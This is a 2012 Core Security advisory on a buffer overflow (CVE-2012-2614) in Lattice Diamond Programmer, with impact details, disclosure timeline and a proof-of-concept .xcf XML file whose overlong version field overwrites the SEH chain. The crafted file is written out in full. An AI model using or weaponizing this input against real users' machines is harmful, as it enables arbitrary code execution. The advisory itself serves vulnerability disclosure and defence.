  Core Security - Corelabs Advisory http://corelabs.coresecurity.com/   Lattice Diamond Programmer Buffer Overflow     1. *Advisory Information*   Title: Lattice Diamond Programmer Buffer Overflow Advisory ID: CORE-2012-0530 Advisory URL: http://www.coresecurity.com/content/lattice-diamond-programmer-buffer-overflow Date published: 2012-06-21 Date of last update: 2012-06-21 Vendors contacted: Lattice Semiconductor Corporation Release mode: User release     2. *Vulnerability Information*   Class: Buffer overflow [CWE-119] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2012-2614     3. *Vulnerability Description*   Lattice Diamond Programmer [1] is vulnerable to client-side attacks, which can be exploited by remote attackers to run arbitrary code by sending specially crafted &apos;.xcf&apos; files.     4. *Vulnerable packages*   . Diamond Programmer 1.4.2 for Windows. . Older versions are probably affected too, but they were not checked.     5. *Non-vulnerable packages*   . Vendor did not provide this information.     6. *Vendor Information, Solutions and Workarounds*   The vendor did not reply any contact email sent by Core Security Advisories Team. Contact Lattice for further information about this issue [2]. Given that this is a client-side vulnerability, affected users should not open untrusted &apos;.xcf&apos; files using &apos;programmer.exe&apos; nor &apos;deployment.exe&apos;.     7. *Credits*   This vulnerability was discovered and researched by Daniel Kazimirow and Ricardo Narvaja from Core Security Exploit Team.     8. *Technical Description / Proof of Concept Code*   This vulnerability can be exploited by opening a specially crafted &apos;.xcf&apos; file from &apos;programmer.exe&apos;. The module &apos;deployment.exe&apos; may also be vulnerable, but this possiblity was not researched any further.   The XML file showed at [Sec. 8.1] crashes &apos;programmer.exe&apos; at the address:   /----- 00FB5E208A0402MOV AL,BYTE PTR DS:[EDX+EAX] 00FB5E23C2 0400 RETN 4 -----/   and overwrites the SEH chain (there is no SEH protection) with &apos;41414141&apos;, which is proof that the buffer was overflown. This means that there is a buffer overflow vulnerability, and &apos;EIP&apos; can be set to an arbitrary value, allowing an attacker to take control of the machine.     8.1. *Proof of Concept*   /----- <?xml version=&apos;1.0&apos; encoding=&apos;utf-8&apos; ?> <!DOCTYPEispXCFSYSTEM"IspXCF.dtd" > <ispXCF version="8.9.09.09999999999AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> <Comment></Comment> <Chain> <Comm>JTAG</Comm> <Device> <Pos>1</Pos> <Vendor>Lattice</Vendor> <Family>ispLSI 5000VE</Family> <Name>5256VE</Name> <IDCode>0x00368043</IDCode> <Package>128-pin TQFP</Package> <PON>ispLSI5256VE-XXLT128</PON> <Bypass> <InstrLen>5</InstrLen> <InstrVal>11111</InstrVal> <BScanLen>1</BScanLen> <BScanVal>0</BScanVal> </Bypass> <File>C:\ispTOOLS\ispvmsystem\TutorialU6vea.jed</File> <FileTime>05/17/02 18:15:33</FileTime> <JedecChecksum>0xF9BD</JedecChecksum> <Operation>Erase,Program,Verify</Operation> <Option> <SVFVendor>JTAG STANDARD</SVFVendor> <IOState>HighZ</IOState> <IOVectorData>0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</IOVectorData> <Reinitialize value="TRUE"/> <OverideUES value="TRUE"/> <TCKFrequency>1.000000 MHz</TCKFrequency> <SVFProcessor>ispVM</SVFProcessor> <Usercode>0x0000F9BD</Usercode> </Option> </Device> </Chain> <ProjectOptions> <Program>SEQUENTIAL</Program> <Process>ENTIRED CHAIN</Process> <OperationOverride>No Override</OperationOverride> <StartTAP>TLR</StartTAP> <EndTAP>TLR</EndTAP> <DeGlitch value="TRUE"/> <VerifyUsercode value="TRUE"/> <PinSetting> TMSLOW; TCKLOW; TDILOW; TDOLOW; TRSTABSENT; CableENHIGH; </PinSetting> </ProjectOptions> </ispXCF> -----/     9. *Report Timeline*   . 2012-05-30: Core Security Technologies notifies Lattice Semiconductor Corporation of the vulnerability. Publication date is set for June 26th, 2012.   . 2012-06-06: Core notifies Lattice Semiconductor Corporation of the vulnerability.   . 2012-06-11: Core notifies that the previous emails were not answered and requests for a reply.   . 2012-06-11: Vendor asks Core to remove their email addresses from Core&apos;s mailing lists.   . 2012-06-11: Core requests an email address or any other security contact information at Lattice in order to begin discussions in regards to the vulnerability.
